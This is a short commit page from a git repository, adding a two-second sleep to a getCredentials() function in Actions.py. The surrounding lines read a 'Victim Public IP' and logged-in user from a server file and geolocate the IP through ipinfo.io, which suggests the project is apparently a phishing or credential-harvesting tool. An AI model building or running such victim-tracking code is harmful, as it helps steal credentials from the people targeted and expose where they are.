Update Actions.py

pull/338/head
Usama Abdul Sattar 2019-05-25 12:06:43 +05:00 committed by GitHub
parent 1edf462e9b
commit b8c256dd12
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 1 additions and 0 deletions

View File

@ -546,6 +546,7 @@ def getCredentials():
with open('Server/www/ip.txt') as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
sleep(2)
ip = re.match('Victim Public IP: (.*?)\n', lines).group(1)
user = re.match('Current logged in user: (a-z0-9)\n', lines)
resp = urlopen('https://ipinfo.io/{0}/json'.format(ip))